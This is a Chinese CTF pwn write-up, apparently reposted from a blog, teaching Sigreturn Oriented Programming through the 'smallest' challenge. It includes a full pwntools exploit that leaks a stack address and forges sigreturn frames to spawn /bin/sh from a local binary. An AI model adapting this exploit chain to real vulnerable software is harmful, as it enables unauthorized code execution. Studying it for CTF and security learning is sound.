CTF-PWN-栈溢出-高级ROP-【SROP】

发布时间:2024年01月04日


参考链接
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出,其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议 Oakland 2014 上,被评选为当年的 Best Student Papers。论文和PPT如下

linux信息处理

  1. 当中断或异常发送时,内核会发出一个信号给相关进程
  2. 此时系统切换到内核态,内核会执行setup_fram()函数来设置用户栈,setup_frame函数主要工作是往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同),另外还会push一个signal function的返回地址——sigruturn()的地址。
  3. 接着执行hand_signal函数,该函数会跳转到用户态执行signal handler函数
  4. 在用户态执行signal handler函数后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。此系统调用的主要工作是用原先push到栈中的内容来恢复寄存器的值和相关内容。当系统调用结束后,程序恢复执行。

关于sigreturn的系统调用

/*x86架构*/
    mov eax,0x77
    int 80h
/*x86_64架构*/
    mov rax,0xf
    syscall

2017 360春秋杯 smallest

检查

静态链接64位文件
在这里插入图片描述

源码

程序反汇编拖入IDA后全部就图中这些
在这里插入图片描述

思路

溢出想构造ROP链的话,没有动态链接库,本身程序gadget少得可怜,gadget不足,想ret2syscall的话,syscall的参数rax得是59,rdi得是/bin/sh的地址,rsi和rdx得为零,
但相关pop的gadget都没有,所以想通过rop系统调用不行,此时可以利用SROP,因为sigreturn系统调用会执行一系列pop的指令,这样就有机会构造execve的相关参数了

  1. 首先是rax这个比较好设置,设置成execve对应的调用号即可
  2. 其次是rdi这个得是/bin/sh的地址,/binsh找不到,只能输入到栈上3再得到其在栈上的地址
  3. 接着是rsi和rdx。这个也比较好设置,都为0就行

那如何输入并得到/bin/sh的地址呢?
首先得能够得到输入部分栈的起始地址,然后再次输入时可输入/bin/sh,然后可以进行调用系统调用execve

  1. 首先得到write函数能够输出栈基地址
    write函数对应的系统调用需要rax为1,rdi为1,rsi为栈的基地址,rdx大于8,rax唯一可修改的方式为read函数执行后会将输入的长度存到rax,此时输入一个字节,并且返回地址可从0x4000B3开始,那么,将导致可以进行write函数输出栈的基地址。那么得提前布置好第返回地址,等到第二次执行read时可以输入一个字节,并且修改返回地址一个字节后正好是0x4000b3,
  2. 此时write函数将rsp对应值输出,由于此时只能输出,返回地址还得在第一次输入就得布置好。由于此时得到了rsp值,此时可以设置为输入函数,输入对应sigframe,同时输入了返回地址为系统调用得返回地址,由于此时长度要调用到sigreturn函数得话,read输入的长度必须等于15,所以得等两次输入才行,所以一次输入sigfram和/bin/sh,返回地址为继续输入的地址,等下次输入时可只输入系统调用的地址和另外七个不影响sigfram变化的字节。然后将会先调用sigreturn然后调用execve函数

第一次要执行ret时的栈

发现存在栈上内容为栈上的地址,可泄露栈上地址,然后将rsp修改为泄露的栈位置
在这里插入图片描述

执行write函数时

第一次输入两个0x4000b0地址,,第二次输入一个字节,并将返回地址修改为0x4000b3
在这里插入图片描述

修改rsp到泄露的栈地址上去

constants.SYS_read是常量read的系统调用号
write函数后此时程序还可以输入一次,这次输入先修改返回地址为0x4000b0,使得可以再输入一次,同时输入好对应的留给的空余的下次输入的返回地址和sigfram

然后再次输入时修改返回地址为系统调用的地址,同时字节数为15,使得可以系统调用sigreturn,然后修改对应寄存器。

此时rip为系统调用地址,rsp为泄露的栈地址,对应其他参数为输入函数对应的参数

sigreturn调用完后执行rip对应的输入函数
在这里插入图片描述

输入/bin/sh并sigreturn调用

最后输入/bin/sh并构造sigfram,同时修改返回地址为输入函数
然后再输入系统调用地址和7个空字节,此时会进行sigreturn调用。调用完后rip指向系统调用,此时rax为execve的调用号,则getshell

系统调用回忆

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

int execve(const char *filename, char *const argv[], char *const envp[]);

filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。

!!system函数不是系统调用

exp

注意一个离离原上谱的地方

python的SigreturnFrame()函数即对应之前往用户栈中push一个保存有全部寄存器的值和其它重要信息的数据结构(各架构各不相同)

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b'a' *8+bytes(fram)

这里bytes(fram)
fram里给各个寄存器赋值的地方不能赋值字节
花了大把时间才找到这个bug

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
s=process("./srop")
srop = ELF('./srop')
#gdb.attach(s,"b main")
read_ret=0x00000000004000B0
sys_ret=0x00000000004000BE
payload=p64(read_ret)*3 
s.send(payload)

#sleep(3)
s.send("\xb3") # 修改返回地址为0x4000b3

stack_addr=u64(s.recv()[8:16])
print("泄露的栈地址",hex(stack_addr))

fram=SigreturnFrame()
fram.rax=constants.SYS_read
fram.rdi=0
fram.rsi=stack_addr
fram.rdx=0x400
fram.rsp=stack_addr
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
s.send(payload)
#sleep(3)

payload=p64(sys_ret)+b"\x00"*7 # rax被设置为15,ret执行系统调用sigreturn,同时空字节也没有修改sigreturnframe的结构
# 由于系统调用改变rip和rsp,执行输入函数
s.send(payload)

print("fram的长度",len(fram))


fram=SigreturnFrame()
fram.rax=constants.SYS_execve
fram.rdi=stack_addr+270
fram.rsi=0
fram.rdx=0
fram.rip=sys_ret
payload=p64(read_ret)+b"\x00"*8+bytes(fram)
payload=payload+(270-len(payload))*b"\x00"+b"/bin/sh\x00"


s.send(payload)
payload=p64(sys_ret)+b"\x00"*7
s.send(payload)

s.interactive()
文章来源:https://blog.csdn.net/llovewuzhengzi/article/details/135362695
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。